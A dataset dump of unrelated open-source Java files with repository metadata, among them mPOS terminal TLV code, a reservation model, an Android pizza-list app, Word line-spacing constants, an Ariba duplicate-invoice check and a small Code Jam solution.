logger.d("写入商户号:%s",customerNo);
customerNo = StringUtils.rightAddSpace(customerNo, 15);
tlvs.add(new TLVByteArray(0x9F02,customerNo.getBytes()));
}
if(!StringUtils.isEmpty(termNo)){
termNo = StringUtils.rightAddSpace(termNo, 8);
logger.d("写入终端号:%s",termNo);
tlvs.add(new TLVByteArray(0x9F03,termNo.getBytes()));
}
//流水号
serialNo = StringUtils.isEmpty(serialNo) ? "000000" : serialNo;
if(serialNo.length()<8) {
serialNo = StringUtils.leftAddZero(Integer.valueOf(serialNo), 6);
}
logger.d("写入流水号:%s",serialNo);
tlvs.add(new TLVByteArray(0x9F04,serialNo.getBytes()));
//批次号
batchNo = StringUtils.isEmpty(batchNo) ? "000000" : batchNo;
if(batchNo.length()<8) {
batchNo = StringUtils.leftAddZero(Integer.valueOf(batchNo), 6);
}
logger.d("写入批次号:%s",batchNo);
tlvs.add(new TLVByteArray(0x9F05,batchNo.getBytes()));
ByteArrayOutputStream os = new ByteArrayOutputStream(500);
tlvs.encode(os);
deviceComm.execute(PackageBuilder.syn(PackageBuilder.CMD_SET_CACHE,os.toByteArray()));
} catch(MPOSException ex) {
throw ex;
} catch(Exception ex) {
throw new MPOSException(ErrorCode.UNKNOWN.getCode(),ErrorCode.UNKNOWN.getDefaultMessage());
}
}
}
|
[
"dongyongzhi@foxmail.com"
] |
dongyongzhi@foxmail.com
|
de721ac502ba9dafd159af1dff3fcf0ddaa762b3
|
6b23d8ae464de075ad006c204bd7e946971b0570
|
/WEB-INF/plugin/reserve/src/jp/groupsession/v2/rsv/RsvDailyValueModel.java
|
6916b7e08c9394825a945f609c157ad162883abd
|
[] |
no_license
|
kosuke8/gsession
|
a259c71857ed36811bd8eeac19c456aa8f96c61e
|
edd22517a22d1fb2c9339fc7f2a52e4122fc1992
|
refs/heads/master
| 2021-08-20T05:43:09.431268
| 2017-11-28T07:10:08
| 2017-11-28T07:10:08
| 112,293,459
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 1,474
|
java
|
package jp.groupsession.v2.rsv;
import jp.groupsession.v2.cmn.model.AbstractModel;
/**
* <br>[機 能] 予約を日間画面表示用に編集したModelクラス
* <br>[解 説]
* <br>[備 考]
*
* @author JTS
*/
public class RsvDailyValueModel extends AbstractModel {
/** スケジュール情報 */
private RsvYoyakuModel yoyakuMdl__;
/** 横幅(cols/rows) */
private int cols__;
/** インデックス(出力先index) */
private int index__;
/**
* <p>cols__ を取得します。
* @return cols
*/
public int getCols() {
return cols__;
}
/**
* <p>cols__ をセットします。
* @param cols cols__
*/
public void setCols(int cols) {
cols__ = cols;
}
/**
* <p>index__ を取得します。
* @return index
*/
public int getIndex() {
return index__;
}
/**
* <p>index__ をセットします。
* @param index index__
*/
public void setIndex(int index) {
index__ = index;
}
/**
* <p>yoyakuMdl__ を取得します。
* @return yoyakuMdl
*/
public RsvYoyakuModel getYoyakuMdl() {
return yoyakuMdl__;
}
/**
* <p>yoyakuMdl__ をセットします。
* @param yoyakuMdl yoyakuMdl__
*/
public void setYoyakuMdl(RsvYoyakuModel yoyakuMdl) {
yoyakuMdl__ = yoyakuMdl;
}
}
|
[
"PK140601-29@PK140601-29"
] |
PK140601-29@PK140601-29
|
bd6018bdee46e2135420e53d876658ba782188f0
|
a9910845ec38479ffd0f45a8fc279c077680875d
|
/pb01PanicButtonCORE/pb01PanicButtonCOREClasses/src/main/java/x47b/services/delegates/persistence/X47BFindServicesDelegateForOrganization.java
|
0733e1cb3b3b08d6ef34d06a997fdfbad0024905
|
[] |
no_license
|
opendata-euskadi/zuzenean-panic-button
|
adbab6eb5bc9b2ef086e188105a402c7551c0395
|
88ba04197c34a2effbe55c24e78a4d2d78a871dd
|
refs/heads/develop
| 2021-07-09T04:38:20.677805
| 2019-08-20T08:29:12
| 2019-08-20T08:29:12
| 200,735,000
| 0
| 0
| null | 2020-10-13T15:07:58
| 2019-08-05T22:03:21
|
Java
|
UTF-8
|
Java
| false
| false
| 2,384
|
java
|
package x47b.services.delegates.persistence;
import javax.persistence.EntityManager;
import com.google.common.eventbus.EventBus;
import r01f.bootstrap.services.config.core.ServicesCoreBootstrapConfigWhenBeanExposed;
import r01f.locale.Language;
import r01f.model.persistence.FindSummariesResult;
import r01f.objectstreamer.Marshaller;
import r01f.persistence.db.config.DBModuleConfigBuilder;
import r01f.securitycontext.SecurityContext;
import x47b.api.interfaces.X47BFindServicesForOrganization;
import x47b.db.find.X47BDBFindForOrganization;
import x47b.model.oids.X47BOrganizationalIDs.X47BOrganizationID;
import x47b.model.oids.X47BOrganizationalOIDs.X47BOrganizationOID;
import x47b.model.org.X47BOrganization;
/**
* Service layer delegated type for CRUD (Create/Read/Update/Delete) operations
*/
public class X47BFindServicesDelegateForOrganization
extends X47BFindServicesDelegateForOrganizationalEntityBase<X47BOrganizationOID,X47BOrganizationID,X47BOrganization>
implements X47BFindServicesForOrganization {
/////////////////////////////////////////////////////////////////////////////////////////
// CONSTRUCTOR
/////////////////////////////////////////////////////////////////////////////////////////
public X47BFindServicesDelegateForOrganization(final ServicesCoreBootstrapConfigWhenBeanExposed coreCfg,
final EntityManager entityManager,
final Marshaller marshaller,
final EventBus eventBus) {
super(coreCfg,
X47BOrganization.class,
new X47BDBFindForOrganization(DBModuleConfigBuilder.dbModuleConfigFrom(coreCfg),
entityManager,
marshaller));
}
/////////////////////////////////////////////////////////////////////////////////////////
// EXTENSION METHODS
/////////////////////////////////////////////////////////////////////////////////////////
@Override
public FindSummariesResult<X47BOrganization> findSummaries(final SecurityContext securityContext,
final Language lang) {
// params checking
Language theLang = (lang != null && lang.in(Language.SPANISH,Language.BASQUE)) ? lang
: Language.SPANISH;
// simply delegate
return this.getServiceImplAs(X47BFindServicesForOrganization.class)
.findSummaries(securityContext,
theLang);
}
}
|
[
"pci@ejie.eus"
] |
pci@ejie.eus
|
8a9556d71e2591c01c044cb63c4ad032ad6c5521
|
5ad8c74f936405f5e76252980a4220bbc9ace70c
|
/app/src/main/java/com/example/pizzaapplicationapps/MainActivity.java
|
0b70cc365d2d51776246ca1d9d1ba9d3bc90d603
|
[] |
no_license
|
Ayush1619/Pizza-ap
|
ee6f31e0e8ce33214f349ea6e4962ba67a80bf1e
|
b18680b8209d80150529a9e279cf7d79fc10d626
|
refs/heads/master
| 2020-06-01T17:55:20.293216
| 2019-06-08T10:12:53
| 2019-06-08T10:12:53
| 190,873,124
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,777
|
java
|
package com.example.pizzaapplicationapps;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.view.View;
import android.widget.AdapterView;
import android.widget.ArrayAdapter;
import android.widget.ListView;
import android.widget.Spinner;
import android.widget.Toast;
public class MainActivity extends AppCompatActivity {
Spinner list;
String data[]={"pizza1","pizza2","pizza3","pizza4","pizza4","pizza5","pizza6","pizza7","pizza8","pizza9","pizza10"};
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
list=(Spinner) findViewById(R.id.listview);
ArrayAdapter adapter=new ArrayAdapter(MainActivity.this, android.R.layout.simple_list_item_1, data);
list.setAdapter(adapter);
list.setOnItemSelectedListener(new AdapterView.OnItemSelectedListener() {
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
switch (position)
{
case 0:
Toast.makeText(MainActivity.this, "First", Toast.LENGTH_SHORT).show();
break;
case 1:
Toast.makeText(MainActivity.this, "Second", Toast.LENGTH_SHORT).show();
break;
case 2:
Toast.makeText(MainActivity.this,"Third",Toast.LENGTH_SHORT).show();
break;
case 3:
Toast.makeText(MainActivity.this,"Third",Toast.LENGTH_SHORT).show();
break;
case 4:
Toast.makeText(MainActivity.this,"Third",Toast.LENGTH_SHORT).show();
break;
case 5:
Toast.makeText(MainActivity.this,"Third",Toast.LENGTH_SHORT).show();
break;
case 6:
Toast.makeText(MainActivity.this,"Third",Toast.LENGTH_SHORT).show();
break;
case 7:
Toast.makeText(MainActivity.this,"Third",Toast.LENGTH_SHORT).show();
break;
case 8:
Toast.makeText(MainActivity.this,"Third",Toast.LENGTH_SHORT).show();
break;
case 9:
Toast.makeText(MainActivity.this,"Third",Toast.LENGTH_SHORT).show();
break;
}
}
@Override
public void onNothingSelected(AdapterView<?> parent){
}
});
}
}
|
[
"you@example.com"
] |
you@example.com
|
573eb30be9c18520eb0161c99f1f64a05087daa7
|
2d2e1c6126870b0833c6f80fec950af7897065e5
|
/scriptom-office-2k3/src/main/java/org/codehaus/groovy/scriptom/tlb/office/word/WdLineSpacing.java
|
76740b271e981f6e3b7720f3f91312c20bb0b8ef
|
[] |
no_license
|
groovy/Scriptom
|
d650b0464f58d3b58bb13469e710dbb80e2517d5
|
790eef97cdacc5da293d18600854b547f47e4169
|
refs/heads/master
| 2023-09-01T16:13:00.152780
| 2022-02-14T12:30:17
| 2022-02-14T12:30:17
| 39,463,850
| 20
| 7
| null | 2015-07-23T12:48:26
| 2015-07-21T18:52:11
|
Java
|
UTF-8
|
Java
| false
| false
| 3,422
|
java
|
/*
* Copyright 2009 (C) The Codehaus. All Rights Reserved.
*
* Redistribution and use of this software and associated documentation
* ("Software"), with or without modification, are permitted provided that the
* following conditions are met:
* 1. Redistributions of source code must retain copyright statements and
* notices. Redistributions must also contain a copy of this document.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name "groovy" must not be used to endorse or promote products
* derived from this Software without prior written permission of The Codehaus.
* For written permission, please contact info@codehaus.org.
* 4. Products derived from this Software may not be called "groovy" nor may
* "groovy" appear in their names without prior written permission of The
* Codehaus. "groovy" is a registered trademark of The Codehaus.
* 5. Due credit should be given to The Codehaus - http://groovy.codehaus.org/
*
* THIS SOFTWARE IS PROVIDED BY THE CODEHAUS AND CONTRIBUTORS ``AS IS'' AND ANY
* EXPRESSED OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE CODEHAUS OR ITS CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*/
package org.codehaus.groovy.scriptom.tlb.office.word;
import java.util.Map;
import java.util.TreeMap;
import java.util.Collections;
/**
* @author Jason Smith
*/
public final class WdLineSpacing
{
private WdLineSpacing()
{
}
/**
* Value is 0 (0x0)
*/
public static final Integer wdLineSpaceSingle = Integer.valueOf(0);
/**
* Value is 1 (0x1)
*/
public static final Integer wdLineSpace1pt5 = Integer.valueOf(1);
/**
* Value is 2 (0x2)
*/
public static final Integer wdLineSpaceDouble = Integer.valueOf(2);
/**
* Value is 3 (0x3)
*/
public static final Integer wdLineSpaceAtLeast = Integer.valueOf(3);
/**
* Value is 4 (0x4)
*/
public static final Integer wdLineSpaceExactly = Integer.valueOf(4);
/**
* Value is 5 (0x5)
*/
public static final Integer wdLineSpaceMultiple = Integer.valueOf(5);
/**
* A {@code Map} of the symbolic names to constant values.
*/
public static final Map<String,Object> values;
static
{
TreeMap<String,Object> v = new TreeMap<String,Object>();
v.put("wdLineSpaceSingle", wdLineSpaceSingle);
v.put("wdLineSpace1pt5", wdLineSpace1pt5);
v.put("wdLineSpaceDouble", wdLineSpaceDouble);
v.put("wdLineSpaceAtLeast", wdLineSpaceAtLeast);
v.put("wdLineSpaceExactly", wdLineSpaceExactly);
v.put("wdLineSpaceMultiple", wdLineSpaceMultiple);
values = Collections.synchronizedMap(Collections.unmodifiableMap(v));
}
}
|
[
"ysb33r@gmail.com"
] |
ysb33r@gmail.com
|
869a07f49c4aaaf2fddbc13edff8b93d224d0232
|
43c012a9cdea1df74ddeaf16f7850ccaaedf0782
|
/DAP/android/sub_app/fermat-dap-android-sub-app-asset-user-community/src/main/java/org/fermat/fermat_dap_android_sub_app_asset_user_community/common/header/UserAssetCommunityHeaderCLickListener.java
|
f7682c3a17ee4aa0af826f69f843b58c9dd54f09
|
[
"LicenseRef-scancode-warranty-disclaimer",
"MIT"
] |
permissive
|
franklinmarcano1970/fermat
|
ef08d8c46740ac80ebeec96eca85936ce36d3ee8
|
c5239a0d4c97414881c9baf152243e6311c9afd5
|
refs/heads/develop
| 2020-04-07T04:12:39.745585
| 2016-05-23T21:20:37
| 2016-05-23T21:20:37
| 52,887,265
| 1
| 22
| null | 2016-08-23T12:58:03
| 2016-03-01T15:26:55
|
Java
|
UTF-8
|
Java
| false
| false
| 353
|
java
|
package org.fermat.fermat_dap_android_sub_app_asset_user_community.common.header;
import android.view.View;
/**
* Created by Nerio on 07/03/16.
*/
public class UserAssetCommunityHeaderCLickListener implements View.OnClickListener{
public UserAssetCommunityHeaderCLickListener() {
}
@Override
public void onClick(View v) {
}
}
|
[
"marsvicam@gmail.com"
] |
marsvicam@gmail.com
|
98cfa618dfdc074415ed399627ba92b7f73675ee
|
81104c146422de7d9b795e2c79fba6ac9bc38aea
|
/appserver/downstream/Server/config/java/invoiceeform/CatValidateInvoice.java
|
2f4bffb9b569083222f69eb60080b9222def7452
|
[] |
no_license
|
skishukmr/Masterfiles
|
7b92c7d1fdc53abd3b8d48f9a1fe7f48e7d9d108
|
544b5c0e866489a45e266f19bf42715cc392e6cd
|
refs/heads/master
| 2020-04-26T18:40:31.792251
| 2014-03-11T19:26:24
| 2014-03-11T19:26:24
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 4,307
|
java
|
/*
Author: Nani Venkatesan (Ariba Inc.)
Date; 5/29/2005
Purpose: The purpose of this class is to prevent entering a duplicate invoice.
*/
package config.java.invoiceeform;
import ariba.base.core.Base;
import ariba.base.core.BaseId;
import ariba.base.core.ClusterRoot;
import ariba.base.core.aql.AQLOptions;
import ariba.base.core.aql.AQLQuery;
import ariba.base.core.aql.AQLResultCollection;
import ariba.base.core.aql.AQLScalarExpression;
import ariba.base.fields.Condition;
import ariba.base.fields.ConditionResult;
import ariba.base.fields.ValueInfo;
import ariba.common.core.Supplier;
import ariba.util.core.Fmt;
import ariba.util.core.PropertyTable;
import ariba.util.core.StringUtil;
import ariba.util.core.SystemUtil;
public class CatValidateInvoice extends Condition
{
private static final ValueInfo valueInfo = new ValueInfo(0);
private static ValueInfo parameterInfo[] = {
new ValueInfo("Invoice",
0,
"config.java.invoiceeform.InvoiceEform")
};
private static final String requiredParameterNames[] = {
"Invoice"
};
private static final String ComponentStringTable = "aml.InvoiceEform";
private static final String StringTable = "ariba.common.core.condition";
private static final String ErrorMsgKey = "DuplicateInvoice";
public boolean evaluate (Object value, PropertyTable params)
{
return evaluateImpl(value, params);
}
public ConditionResult evaluateAndExplain (Object value, PropertyTable params)
{
boolean isValid = evaluate(value, params);
if (isValid) {
return null;
}
else {
return new ConditionResult(Fmt.Sil(ComponentStringTable,
"DuplicateInvoice",
subjectForMessages(params)));
}
}
private boolean evaluateImpl (Object value, PropertyTable params)
{
ClusterRoot invoice = (ClusterRoot)params.getPropertyForKey("Invoice");
Supplier supplier = (Supplier)invoice.getFieldValue("Supplier");
String number = (String)invoice.getFieldValue("InvoiceNumber");
// Just return OK if supplier or number not set yet
if (supplier == null ||
StringUtil.nullOrEmptyOrBlankString(number)) {
return true;
}
//return true if it is already approved
String status = (String) invoice.getDottedFieldValue("StatusString");
if (status != null && status.equals("Approved")) {
return true;
}
if (number != null) {
number = number.toUpperCase();
}
// Setup the query to search for an invoice with same supplier and number
AQLQuery query = AQLQuery.parseQuery(
Fmt.S("SELECT Invoice " +
"FROM ariba.invoicing.core.Invoice " +
"WHERE Supplier = %s " +
"AND UPPER(InvoiceNumber) = '%s'",
AQLScalarExpression.buildLiteral(supplier).toString(),
number));
// Execute the query
AQLOptions options = new AQLOptions(Base.getSession().getPartition());
AQLResultCollection results = Base.getService().executeQuery(query,options);
// If matching invoice found, check if it is actually this one
boolean valid = true;
while (results.next()) {
BaseId baseId = results.getBaseId(0);
// If not equal, the another one already exists, so return false
if (!SystemUtil.equal(baseId, invoice.getBaseId())) {
valid = false;
break;
}
}
return valid;
}
/**
Returns the valueInfo
*/
public ValueInfo getValueInfo ()
{
return valueInfo;
}
/**
Returns the valid parameter types
*/
public ValueInfo[] getParameterInfo ()
{
return parameterInfo;
}
/**
Returns required parameter names for the class
*/
public String[] getRequiredParameterNames ()
{
return requiredParameterNames;
}
}
|
[
"Dec11@test.com"
] |
Dec11@test.com
|
70ababeaf3b197056214d2a60dc33d41b7463b23
|
a373f1fb2949eb4d3b777c7ed59d3cdc71d69531
|
/items/items-domain/src/main/java/org/dominokit/craft/model/ListingItem.java
|
e5a266f0a6453af51797e86842c703be11621022
|
[] |
no_license
|
rjeeb/old-crafts
|
12ad6fe557446f95558e6bf6aaa9b51bd5aea8e9
|
e5e5c9e835d29f23838632a3e836fbdee3fc4d1d
|
refs/heads/master
| 2020-04-07T02:43:27.227094
| 2019-01-07T19:31:43
| 2019-01-07T19:31:43
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,654
|
java
|
package org.dominokit.craft.model;
import org.dominokit.craft.exception.InvalidItemException;
import org.dominokit.craft.items.shared.model.Violation;
import org.immutables.value.Value;
import java.util.ArrayList;
import java.util.List;
import static java.util.Objects.isNull;
@Value.Immutable
public abstract class ListingItem {
public abstract String reference();
public abstract String title();
public abstract String whoMadeIt();
public abstract String whatIsIt();
public abstract String whenWasItMade();
public abstract String category();
public abstract RenewalOptions renewalOption();
public abstract ItemType itemType();
public abstract String description();
public abstract double price();
public abstract int quantity();
public abstract List<String> imageReferences();
@Nullable
public abstract String section();
@Nullable
public abstract List<String> tags();
@Nullable
public abstract List<String> materials();
@Nullable
public abstract List<Variation> variations();
@Nullable
public abstract Personalization personalization();
@Value.Check
protected void validate() {
List<Violation> violations = new ArrayList<>();
if (title().isEmpty()) {
violations.add(createInvalidViolation("title"));
}
if (whoMadeIt().isEmpty()) {
violations.add(createInvalidViolation("whoMadeIt"));
}
if (whatIsIt().isEmpty()) {
violations.add(createInvalidViolation("whatIsIt"));
}
if (whenWasItMade().isEmpty()) {
violations.add(createInvalidViolation("whenWasItMade"));
}
if (category().isEmpty()) {
violations.add(createInvalidViolation("category"));
}
if (description().isEmpty()) {
violations.add(createInvalidViolation("description"));
}
if (price() < 0) {
violations.add(createInvalidViolation("price"));
}
if (quantity() < 0) {
violations.add(createInvalidViolation("quantity"));
}
if (isNull(imageReferences()) || imageReferences().isEmpty()) {
violations.add(createInvalidViolation("imageReferences"));
}
if (!violations.isEmpty()) {
throw new InvalidItemException(violations);
}
}
private Violation createInvalidViolation(String propertyName) {
Violation violation = new Violation();
violation.setPropertyName(propertyName);
violation.setErrorMessage(propertyName + ".is.invalid");
return violation;
}
}
|
[
"rafat.albarouki@gmail.com"
] |
rafat.albarouki@gmail.com
|
aa050b65b6d204bf5799512009ed011fd7511e41
|
de2eff0e71efe69175d7e54889d84d449d6ed974
|
/ext-api/src/main/java/org/omg/dds/NOT_NEW_VIEW_STATE.java
|
c0389c055e630336170ba4c4f8c1741ae3762962
|
[] |
no_license
|
mmusgrov/corba
|
bb266f631ebdcbabb4719f7d70cb8c766609a3e5
|
03d993498b68d745018061b39196e7818e0fe64d
|
refs/heads/master
| 2021-01-18T10:42:20.114343
| 2013-01-22T06:02:07
| 2013-01-22T06:02:07
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 242
|
java
|
package org.omg.dds;
/**
* Generated from IDL const "NOT_NEW_VIEW_STATE".
*
* @author JacORB IDL compiler V 2.3.1, 27-May-2009
* @version generated at 10/01/2013 11:46:18 AM
*/
public interface NOT_NEW_VIEW_STATE
{
int value = 1<<1;
}
|
[
"stuart.w.douglas@gmail.com"
] |
stuart.w.douglas@gmail.com
|
7e30e2f622829cfd0c41f5ee0bb0a0db7e5f6230
|
6b2a8dd202fdce77c971c412717e305e1caaac51
|
/solutions_5634947029139456_1/java/volodymyr/Charging.java
|
bf2f52661d5dc7d3d420872fa428b569fd65cac0
|
[] |
no_license
|
alexandraback/datacollection
|
0bc67a9ace00abbc843f4912562f3a064992e0e9
|
076a7bc7693f3abf07bfdbdac838cb4ef65ccfcf
|
refs/heads/master
| 2021-01-24T18:27:24.417992
| 2017-05-23T09:23:38
| 2017-05-23T09:23:38
| 84,313,442
| 2
| 4
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 3,117
|
java
|
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.io.PrintStream;
import java.math.BigInteger;
import java.util.Scanner;
public class Charging {
private static InputStream in;
private static PrintStream out;
private static Scanner sc;
private static BigInteger[] outlets;
private static BigInteger[] plugs;
private static int n;
private static int l;
static {
try {
in =
new FileInputStream("A-large.in");
// System.in;
out =
new PrintStream(new FileOutputStream("out.txt"));
// System.out;
} catch (Exception e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void main(String[] args) {
sc = new Scanner(in);
int numCases = sc.nextInt();
for (int i = 0; i < numCases; i++) {
out.println("Case #" + (i + 1) + ": " + solve());
}
}
private static String solve() {
n = sc.nextInt();
l = sc.nextInt();
outlets = new BigInteger[n];
plugs = new BigInteger[n];
for (int i = 0; i < n; i++) {
BigInteger outlet = new BigInteger("0");
String line = sc.next();
for (int j = 0; j < l; j++) {
if (line.charAt(j) == '1') {
outlet=outlet.setBit(j);
}
}
outlets[i] = outlet;
}
for (int i = 0; i < n; i++) {
BigInteger plug = new BigInteger("0");
String line = sc.next();
for (int j = 0; j < l; j++) {
if (line.charAt(j) == '1') {
plug=plug.setBit(j);
}
}
plugs[i] = plug;
}
int min = Integer.MAX_VALUE;
for (int i = 0; i < n; i++) {
BigInteger mask = convertTo(outlets[0], plugs[i]);
if (valid(mask, i)) {
int diff = numberOfOnes(mask);
if (diff < min) {
min = diff;
}
}
}
return (min == Integer.MAX_VALUE ? "NOT POSSIBLE" : "" + min);
}
private static boolean valid(BigInteger mask, int pUsed) {
boolean[] plugUsed = new boolean[n];
plugUsed[pUsed] = true;
return isValid(plugUsed, 1, mask);
}
private static boolean isValid(boolean[] plugUsed, int i, BigInteger mask) {
if (i == n)
return true;
for (int j = 0; j < n; j++) {
if (plugUsed[j])
continue;
if (matches(mask,outlets[i], plugs[j])) {
plugUsed[j] = true;
if (isValid(plugUsed, i + 1, mask))
return true;
plugUsed[j] = false;
}
}
return false;
}
private static boolean matches(BigInteger mask, BigInteger i1,
BigInteger i2) {
for (int i = 0; i < l; i++) {
if (i1.testBit(i) != i2.testBit(i)) {
if(!mask.testBit(i))return false;
}else{
if(mask.testBit(i))return false;
}
}
return true;
}
private static int numberOfOnes(BigInteger mask) {
int res = 0;
for (int i = 0; i < l; i++) {
if (mask.testBit(i)) {
res++;
}
}
return res;
}
private static BigInteger convertTo(BigInteger i1, BigInteger i2) {
BigInteger result = new BigInteger("0");
for (int i = 0; i < l; i++) {
if (i1.testBit(i) != i2.testBit(i)) {
result=result.setBit(i);
}
}
return result;
}
}
|
[
"eewestman@gmail.com"
] |
eewestman@gmail.com
|
6eddd306ccd55149aa77a6102da1237f4710bee0
|
7a7ba2805a15059c30f31e1b352ab6aa30592de7
|
/awd.cloud.suppers/awd.cloud.suppers.interface/src/main/java/awd/cloud/suppers/interfaces/service/kss/CzjlService.java
|
1c1d031e1fe72ac66b68cf1ca422223e64baf515
|
[] |
no_license
|
tony-catalina/Peking_cloud2
|
bc1bf7f377b68ce06c77d2de36554893eaabc697
|
c47db69483c203f4aefd37a034ada6aeb182c4fd
|
refs/heads/master
| 2022-12-13T14:55:37.859352
| 2020-03-02T08:13:48
| 2020-03-02T08:13:48
| 244,308,357
| 0
| 1
| null | 2022-12-06T00:46:17
| 2020-03-02T07:35:13
|
JavaScript
|
UTF-8
|
Java
| false
| false
| 477
|
java
|
package awd.cloud.suppers.interfaces.service.kss;
import awd.cloud.suppers.interfaces.utils.PagerResult;
import awd.cloud.suppers.interfaces.utils.ResponseMessage;
import java.util.Map;
public interface CzjlService {
public ResponseMessage<PagerResult<Map<String, Object>>> getCzjl(Map<String, Object> map);
public ResponseMessage<String> saveCzjl(Map<String, Object> map);
public ResponseMessage<String> updateCzjlById(String id ,Map<String, Object> map);
}
|
[
"m13635576437@163.com"
] |
m13635576437@163.com
|
570116c1d35bcece131a42e2e693b10a75f1e2bc
|
fb530a7aa2546ee9796fbc63951904ec6606864b
|
/jbpm-mvn-example-bpms640/jbpm-mvn-rest-controller/src/main/java/com/sample/DeleteServerViaControllerExample.java
|
81061c495876ce8b76f209672f8472f9facdeaca
|
[] |
no_license
|
ranjay2017/jbpm6example
|
08985b0cb27d8143778b7ebb7c29138995459d9a
|
a1a0612eeef748d7253064d07e0b7c474aae703f
|
refs/heads/master
| 2023-04-07T13:41:23.511365
| 2018-10-17T02:57:29
| 2018-10-17T02:57:29
| 117,191,733
| 0
| 0
| null | 2018-01-12T04:20:23
| 2018-01-12T04:20:22
| null |
UTF-8
|
Java
| false
| false
| 1,220
|
java
|
package com.sample;
import org.kie.server.api.marshalling.MarshallingFormat;
import org.kie.server.api.model.KieContainerResource;
import org.kie.server.api.model.KieContainerResourceList;
import org.kie.server.api.model.KieContainerStatus;
import org.kie.server.api.model.KieServerInfo;
import org.kie.server.api.model.ReleaseId;
import org.kie.server.api.model.ServiceResponse;
import org.kie.server.client.KieServicesClient;
import org.kie.server.client.KieServicesConfiguration;
import org.kie.server.client.KieServicesFactory;
import org.kie.server.controller.api.model.KieServerInstance;
public class DeleteServerViaControllerExample {
private static final String CONTROLLER_URL = "http://localhost:8080/business-central/rest/controller";
private static final String USERNAME = "kieserver";
private static final String PASSWORD = "kieserver1!";
public static void main(String[] args) {
// Controller Client
KieServerControllerClient controllerClient = new KieServerControllerClient(CONTROLLER_URL, USERNAME, PASSWORD);
controllerClient.setMarshallingFormat(MarshallingFormat.JAXB);
controllerClient.deleteKieServerInstance("local-server-456");
}
}
|
[
"toshiyakobayashi@gmail.com"
] |
toshiyakobayashi@gmail.com
|
7e0fb42d255e683f04a52d4005bf4c359f52d9f0
|
8af1164bac943cef64e41bae312223c3c0e38114
|
/results-java/mockito--mockito/3133e1a7ab662c52c4350bdecb512874b7afe9b1/before/InvalidUseOfMatchersTest.java
|
261a707e15765a9903afbf7b6a210044cf7dd609
|
[] |
no_license
|
fracz/refactor-extractor
|
3ae45c97cc63f26d5cb8b92003b12f74cc9973a9
|
dd5e82bfcc376e74a99e18c2bf54c95676914272
|
refs/heads/master
| 2021-01-19T06:50:08.211003
| 2018-11-30T13:00:57
| 2018-11-30T13:00:57
| 87,353,478
| 0
| 0
| null | null | null | null |
UTF-8
|
Java
| false
| false
| 2,935
|
java
|
/*
* Copyright (c) 2007 Mockito contributors
* This program is made available under the terms of the MIT License.
*/
package org.mockitousage.matchers;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.fail;
import static org.mockito.Matchers.eq;
import org.junit.After;
import org.junit.Before;
import org.junit.Test;
import org.mockito.AdditionalMatchers;
import org.mockito.Mockito;
import org.mockito.RequiresValidState;
import org.mockito.StateResetter;
import org.mockito.exceptions.misusing.InvalidUseOfMatchersException;
import org.mockitousage.IMethods;
@SuppressWarnings("unchecked")
public class InvalidUseOfMatchersTest extends RequiresValidState {
private IMethods mock;
@Before
public void setUp() {
StateResetter.reset();
mock = Mockito.mock(IMethods.class);
}
@After
public void resetState() {
StateResetter.reset();
}
@Test
public void shouldDetectWrongNumberOfMatchersWhenStubbing() {
Mockito.stub(mock.threeArgumentMethod(1, "2", "3")).andReturn(null);
try {
Mockito.stub(mock.threeArgumentMethod(1, eq("2"), "3")).andReturn(null);
fail();
} catch (InvalidUseOfMatchersException e) {}
}
@Test
public void shouldDetectStupidUseOfMatchersWhenVerifying() {
mock.oneArg(true);
eq("that's the stupid way");
eq("of using matchers");
try {
Mockito.verify(mock).oneArg(true);
fail();
} catch (InvalidUseOfMatchersException e) {}
}
@Test
public void shouldScreamWhenMatchersAreInvalid() {
mock.simpleMethod(AdditionalMatchers.not(eq("asd")));
try {
mock.simpleMethod(AdditionalMatchers.not("jkl"));
fail();
} catch (InvalidUseOfMatchersException e) {
assertEquals(
"\n" +
"No matchers found for Not(?)." +
"\n" +
"Read more: http://code.google.com/p/mockito/matchers"
, e.getMessage());
}
try {
mock.simpleMethod(AdditionalMatchers.or(eq("jkl"), "asd"));
fail();
} catch (InvalidUseOfMatchersException e) {
assertEquals(
"\n" +
"2 matchers expected, 1 recorded." +
"\n" +
"Read more: http://code.google.com/p/mockito/matchers"
, e.getMessage());
}
try {
mock.threeArgumentMethod(1, "asd", eq("asd"));
fail();
} catch (InvalidUseOfMatchersException e) {
assertEquals(
"\n" +
"3 matchers expected, 1 recorded." +
"\n" +
"Read more: http://code.google.com/p/mockito/matchers"
, e.getMessage());
}
}
}
|
[
"fraczwojciech@gmail.com"
] |
fraczwojciech@gmail.com
|
aeb3f98ebfe7e8e39269806f2bea571153f97117
|
2f8104b6d1501571d33ec786354b8673f879f895
|
/manager/biz/src/main/java/com/alibaba/otter/manager/biz/config/utils/MapTypeHandler.java
|
